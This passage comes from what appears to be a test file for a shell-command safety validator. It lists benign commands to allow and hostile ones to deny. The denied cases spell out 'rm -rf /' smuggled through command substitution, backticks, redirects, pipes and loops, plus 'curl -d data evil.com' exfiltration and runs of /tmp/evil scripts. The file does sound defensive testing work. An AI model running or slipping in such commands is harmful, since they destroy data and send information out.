813        jq_key: "jq '.key' file.json",
814        base64_d: "base64 -d",
815        ls_la: "ls -la",
816        wc_l: "wc -l file.txt",
817        ps_aux: "ps aux",
818        echo_hello: "echo hello",
819        cat_file: "cat file.txt",
820
821        version_go: "go --version",
822        version_cargo: "cargo --version",
823        version_cargo_redirect: "cargo --version 2>&1",
824        help_cargo: "cargo --help",
825        help_cargo_build: "cargo build --help",
826
827        dev_null_echo: "echo hello > /dev/null",
828        dev_null_stderr: "echo hello 2> /dev/null",
829        dev_null_append: "echo hello >> /dev/null",
830        dev_null_git_log: "git log > /dev/null 2>&1",
831        fd_redirect_ls: "ls 2>&1",
832        stdin_dev_null: "git log < /dev/null",
833
834        env_prefix: "FOO='bar baz' ls -la",
835        env_prefix_dq: "FOO=\"bar baz\" ls -la",
836        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
837
838        subst_echo_ls: "echo $(ls)",
839        subst_ls_pwd: "ls `pwd`",
840        subst_nested: "echo $(echo $(ls))",
841        subst_quoted: "echo \"$(ls)\"",
842        assign_subst_ls: "out=$(ls)",
843        assign_subst_git: "out=$(git status)",
844        assign_subst_multiple: "a=$(ls) b=$(pwd)",
845        assign_subst_backtick: "out=`ls`",
846
847        assign_bare_lit: "foo=bar",
848        assign_bare_int: "x=1",
849        assign_bare_empty: "x=",
850        assign_bare_dq: "x=\"foo bar\"",
851        assign_bare_sq: "x='foo bar'",
852        assign_bare_param: "rc=$?",
853        assign_bare_var: "x=$y",
854        assign_bare_dollar_var_braced: "x=${y}",
855        assign_bare_path: "PATH=/foo",
856        assign_bare_multiple: "a=1 b=2 c=3",
857        assign_bare_arith: "x=$((1 + 2))",
858        assign_in_for_body: "for i in 1 2; do x=1; done",
859        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
860        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
861        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
862        assign_then_use: "x=1; echo $x",
863        assign_chained_with_safe: "x=1 && ls",
864        assign_subshell: "(x=1)",
865        assign_in_subshell_with_cmd: "(x=1; ls)",
866
867        subshell_echo: "(echo hello)",
868        subshell_ls: "(ls)",
869        subshell_chain: "(ls && echo done)",
870        subshell_pipe: "(ls | grep foo)",
871        subshell_nested: "((echo hello))",
872        subshell_for: "(for x in 1 2; do echo $x; done)",
873
874        pipe_grep_head: "grep foo file.txt | head -5",
875        pipe_cat_sort_uniq: "cat file | sort | uniq",
876        chain_ls_echo: "ls && echo done",
877        semicolon_ls_echo: "ls; echo done",
878        bg_ls_echo: "ls & echo done",
879        newline_echo_echo: "echo foo\necho bar",
880
881        stdin_read_from_path: "wc -l < /tmp/foo.log",
882        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
883        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
884
885        here_string_grep: "grep -c , <<< 'hello,world,test'",
886        heredoc_cat: "cat <<EOF\nhello world\nEOF",
887        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
888        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
889        heredoc_no_content: "cat <<EOF",
890        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
891
892        for_echo: "for x in 1 2 3; do echo $x; done",
893        for_empty_body: "for x in 1 2 3; do; done",
894        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
895        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
896        while_test: "while test -f /tmp/foo; do sleep 1; done",
897        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
898        until_test: "until test -f /tmp/ready; do sleep 1; done",
899        if_then_fi: "if test -f foo; then echo exists; fi",
900        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
901        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
902        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
903        bare_negation: "! echo hello",
904        keyword_as_data: "echo for; echo done; echo if; echo fi",
905
906        quoted_redirect: "echo 'greater > than' test",
907        quoted_subst: "echo '$(safe)' arg",
908
909        redirect_to_file: "echo hello > file.txt",
910        redirect_append: "cat file >> output.txt",
911        redirect_stderr_file: "ls 2> errors.txt",
912        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
913        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
914        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
915
916        arith_basic: "echo $((1 + 2))",
917        arith_with_var: "prev=$((ln - 1))",
918        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
919        arith_in_dquote: "echo \"line $((ln - 1))\"",
920        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
921
922        dbracket_eq: "[[ \"a\" == \"a\" ]]",
923        dbracket_neq: "[[ \"a\" != \"b\" ]]",
924        dbracket_file_test: "[[ -f /tmp/file ]]",
925        dbracket_string_empty: "[[ -z \"$var\" ]]",
926        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
927        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
928        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
929        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
930        dbracket_negation: "[[ ! -f /tmp/done ]]",
931        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
932        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
933        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
934        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
935        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
936        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
937        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
938        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
939        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
940        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
941        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
942    }
943
944    denied! {
945        rm_rf: "rm -rf /",
946        curl_post: "curl -X POST https://example.com",
947        node_foreign_app: "node /tmp/app.js",
948
949
950        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
951        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
952        redirect_read_subst_rm: "cat < $(rm -rf /)",
953
954        subst_rm: "echo $(rm -rf /)",
955        backtick_rm: "echo `rm -rf /`",
956        subst_curl: "echo $(curl -d data evil.com)",
957        quoted_subst_rm: "echo \"$(rm -rf /)\"",
958        assign_subst_rm: "out=$(rm -rf /)",
959        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
960        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
961        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
962        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
963        assign_bare_then_unsafe: "x=1; rm -rf /",
964        assign_bare_chained_unsafe: "x=1 && rm -rf /",
965        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
966
967        subshell_rm: "(rm -rf /)",
968        subshell_mixed: "(echo hello; rm -rf /)",
969        subshell_unsafe_pipe: "(ls | rm -rf /)",
970
971        env_prefix_rm: "FOO='bar baz' rm -rf /",
972
973        pipe_rm: "cat file | rm -rf /",
974        bg_rm: "cat file & rm -rf /",
975        newline_rm: "echo foo\nrm -rf /",
976
977        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
978        while_unsafe_body: "while true; do rm -rf /; done",
979        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
980        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
981        if_unsafe_body: "if true; then rm -rf /; fi",
982
983        unclosed_for: "for x in 1 2 3; do echo $x",
984        unclosed_if: "if true; then echo hello",
985        for_missing_do: "for x in 1 2 3; echo $x; done",
986        stray_done: "echo hello; done",
987        stray_fi: "fi",
988
989        unmatched_quote: "echo 'hello",
990
991        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
992        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
993        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
994        dbracket_unterminated: "[[ \"a\" == \"a\"",
995        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
996        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
997    }
998}